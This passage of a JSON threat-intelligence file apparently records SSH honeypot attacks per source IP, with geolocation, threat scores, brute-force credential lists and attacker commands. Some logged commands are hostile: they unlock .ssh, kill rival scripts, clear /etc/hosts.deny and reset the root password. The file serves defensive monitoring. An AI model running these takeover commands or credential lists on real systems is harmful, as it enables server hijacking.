        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T06:46:33.302000+00:00",
        "last_seen_30d": "2026-03-08T07:50:29.004000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 254,
        "Suricata": 42
      }
    },
    "192.241.132.13": {
      "attack_count": 249,
      "first_seen": "2026-03-03T13:25:08.701Z",
      "last_seen": "2026-03-03T14:17:41.904Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "password",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "admin",
        "passw0rd",
        "password1",
        "qwerty",
        "Admin123",
        "admin123",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 348,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:25:08.701000+00:00",
        "last_seen_30d": "2026-03-03T14:18:49.615000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 249,
        "Suricata": 99
      }
    },
    "181.49.8.57": {
      "attack_count": 240,
      "first_seen": "2026-03-03T01:36:45.373Z",
      "last_seen": "2026-03-03T02:03:21.405Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "1233218613",
        "3245gs5662d34",
        "Gfhjkm123",
        "P@ssw0rd.1",
        "Ubuntu2023",
        "Zz@123456",
        "abc123==",
        "asdf1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1233218613\\nLW5vsKfxBKVF\\nLW5vsKfxBKVF\\n\"|passwd",
        "echo \"root:75lgnRT3IDkS\"|chpasswd|bash",
        "echo \"root:XjG0J5vswf9c\"|chpasswd|bash",
        "echo -e \"1233218613\\nLW5vsKfxBKVF\\nLW5vsKfxBKVF\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 14080,
      "as_org": "Telmex Colombia S.A.",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 270,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T01:36:45.373000+00:00",
        "last_seen_30d": "2026-03-03T02:04:27.555000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 240,
        "Suricata": 30
      }
    },
    "122.177.241.159": {
      "attack_count": 235,
      "first_seen": "2026-03-16T07:44:47.673Z",
      "last_seen": "2026-03-17T06:45:16.218Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ubuntu",
        "user02",
        "usuario",
        "abc",
        "astra",
        "b",
        "cliente",
        "dheeraj",
        "dhiraj",
        "md",
        "rootuser",
        "tibero"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "111222333",
        "123",
        "123456",
        "12345678",
        "Abcd1234!@#$",
        "Admin123.",
        "Admin@2023",
        "B123",
        "Dheeraj123",
        "Pa$$w0rd2024",
        "Root@123",
        "abcpass",
        "admin",
        "dhiraj123",
        "mdpass",
        "rootuser123",
        "shangqi@2026",
        "tibero123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:XAbpZIAQogQ5\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T07:44:47.673000+00:00",
        "last_seen_30d": "2026-03-17T06:46:25.416000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 235,
        "Suricata": 66
      }
    },
    "14.225.205.58": {
      "attack_count": 227,
      "first_seen": "2026-03-03T14:58:30.307Z",
      "last_seen": "2026-03-09T23:23:37.721Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "comp",
        "345gs5662d34",
        "clawd",
        "def",
        "ec2-user",
        "jun",
        "nuc",
        "odoo17",
        "sai",
        "stan",
        "temp",
        "vadim"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123QWEasd",
        "345gs5662d34",
        "My123456@",
        "Nuc123!",
        "QWEqwe123.",
        "Rootroot1",
        "Wl123456",
        "Zhang@123",
        "Zxc123456",
        "asdfghjkl1",
        "clawd123",
        "jun123",
        "stan"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\n8Tm0obo8Xsqh\\n8Tm0obo8Xsqh\\n\"|passwd",
        "echo \"root:UfPxxv9T6lqa\"|chpasswd|bash",
        "echo -e \"123456\\n8Tm0obo8Xsqh\\n8Tm0obo8Xsqh\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.5,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 281,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T14:58:30.307000+00:00",
        "last_seen_30d": "2026-03-09T23:24:45.872000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 227,
        "Suricata": 54
      }
    },
    "103.82.92.231": {
      "attack_count": 195,
      "first_seen": "2026-03-03T20:35:18.739Z",
      "last_seen": "2026-03-03T21:08:13.509Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@QW34er",
        "12121212",
        "12344",
        "1qazXSW@3edcVFR$",
        "Bingo@1993",
        "Gfhjkm123456",
        "Qweasd123!@#",
        "Qwerty@1",
        "parker",
        "test01",
        "testpass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:oE2KvgoQksLv\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 243,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:35:18.739000+00:00",
        "last_seen_30d": "2026-03-03T21:09:20.739000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 195,
        "Suricata": 48
      }
    },
    "188.166.172.119": {
      "attack_count": 168,
      "first_seen": "2026-03-11T05:05:37.985Z",
      "last_seen": "2026-03-11T06:08:39.500Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "solv",
        "eth",
        "sol",
        "SOL",
        "admin",
        "heat",
        "trader",
        "ubuntu"
      ],
      "passwords_attempted": [
        "solana",
        "123",
        "123456",
        "SOL",
        "sol",
        "!@#$%^",
        "12",
        "123123123",
        "123321",
        "1234",
        "12345678",
        "1234567890",
        "Aa123456",
        "SOL!@#",
        "SoL",
        "Sol",
        "eth",
        "eth123",
        "ethereum",
        "heat"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 246,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T05:03:23.030000+00:00",
        "last_seen_30d": "2026-03-11T06:09:43.327000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 78
      }
    },
    "101.47.141.162": {
      "attack_count": 166,
      "first_seen": "2026-03-26T22:23:57.928Z",
      "last_seen": "2026-03-27T01:33:28.481Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "123qwe123",
        "345gs5662d34",
        "56789",
        "Adm1n!",
        "QAZ123wsx456",
        "Qq!123456",
        "Reza1",
        "abc1234.",
        "asd@qwe123",
        "bl.123456",
        "laguna1",
        "logview",
        "pomodoro",
        "postgres@2026",
        "valerie",
        "zxcvbnm123456789"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:n8LejCr5yTGI\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 32.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T22:23:57.928000+00:00",
        "last_seen_30d": "2026-03-27T01:34:34.683000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 166,
        "Suricata": 62
      }
    },
    "75.112.23.30": {
      "attack_count": 162,
      "first_seen": "2026-03-28T18:38:08.979Z",
      "last_seen": "2026-03-28T21:15:46.091Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123123e",
        "12343412",
        "12345@Qwert",
        "1qaz2WSXcde3",
        "3245gs5662d34",
        "David2026",
        "Huawei12#$%",
        "Tl147258",
        "Win*0",
        "Wr123456.",
        "abc@2026",
        "asdfg",
        "bao123456",
        "cristal",
        "gc@123",
        "p@ssw0rd88",
        "password888",
        "sas",
        "sqlsql",
        "teste2"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:9ywn9umKK9eG\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Orlando",
      "asn": 33363,
      "as_org": "Charter Communications, Inc",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 236,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T18:38:08.979000+00:00",
        "last_seen_30d": "2026-03-28T21:16:50.431000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 162,
        "Suricata": 74
      }
    },
    "46.236.203.240": {
      "attack_count": 128,
      "first_seen": "2026-03-02T17:29:23.635Z",
      "last_seen": "2026-03-02T17:54:47.008Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613f",
        "12QWaszx",
        "1q2w3e4r!Q@W#E$R",
        "3245gs5662d34",
        "345gs5662d34",
        "ASD123",
        "Admin999",
        "Deneme123",
        "P@$$w0rd4321",
        "P@ssw0rd@1234",
        "Yojimbo271077@",
        "centos7svm",
        "jenkins"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:z8IT9iBPXJ3s\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 5065,
      "as_org": "Bunny Communications",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T17:29:23.635000+00:00",
        "last_seen_30d": "2026-03-02T17:55:54.634000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 33
      }
    },
    "103.186.0.68": {
      "attack_count": 119,
      "first_seen": "2026-03-05T18:15:02.663Z",
      "last_seen": "2026-03-05T18:39:06.526Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "user1",
        "345gs5662d34",
        "admin1",
        "backupuser",
        "cc",
        "ehsan",
        "root",
        "sansforensics",
        "solr",
        "tmp"
      ],
      "passwords_attempted": [
        "12345678",
        "password",
        "1!p@ssword",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Password1",
        "backupuser",
        "solr123!",
        "user123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"user123!\\njBNwdnMVTNVT\\njBNwdnMVTNVT\\n\"|passwd",
        "echo -e \"user123!\\njBNwdnMVTNVT\\njBNwdnMVTNVT\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T18:15:02.663000+00:00",
        "last_seen_30d": "2026-03-05T18:40:07.544000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "14.37.160.15": {
      "attack_count": 119,
      "first_seen": "2026-03-07T16:09:24.951Z",
      "last_seen": "2026-03-07T16:33:30.115Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "345gs5662d34",
        "claude",
        "colin",
        "dockeradmin",
        "linuxadmin",
        "qiyuesuo",
        "ubuntu",
        "x"
      ],
      "passwords_attempted": [
        "1234",
        "1qaz!QAZ2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "X123!",
        "azerty",
        "colin123",
        "dockeradmin",
        "linuxadmin123",
        "qiyuesuo1234",
        "sysadmin",
        "zabbix"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"sysadmin\\ne8vXlgyIDIjk\\ne8vXlgyIDIjk\\n\"|passwd",
        "echo -e \"sysadmin\\ne8vXlgyIDIjk\\ne8vXlgyIDIjk\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Bupyeong-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T16:09:24.951000+00:00",
        "last_seen_30d": "2026-03-07T16:34:36.282000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "159.223.54.90": {
      "attack_count": 119,
      "first_seen": "2026-03-16T01:05:25.829Z",
      "last_seen": "2026-03-16T01:25:27.547Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "zz",
        "345gs5662d34",
        "almacen",
        "anders",
        "app",
        "crafty",
        "mobile",
        "myuser",
        "sim",
        "tomcat",
        "ts1"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Anders123!",
        "Sim123",
        "almacen123!",
        "craftypass",
        "myuser1234",
        "tomcat123!",
        "ts1123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\nY2hl34gS38eG\\nY2hl34gS38eG\\n\"|passwd",
        "echo -e \"12345\\nY2hl34gS38eG\\nY2hl34gS38eG\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T01:05:25.829000+00:00",
        "last_seen_30d": "2026-03-16T01:26:29.865000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "51.79.186.36": {
      "attack_count": 119,
      "first_seen": "2026-03-08T17:03:00.525Z",
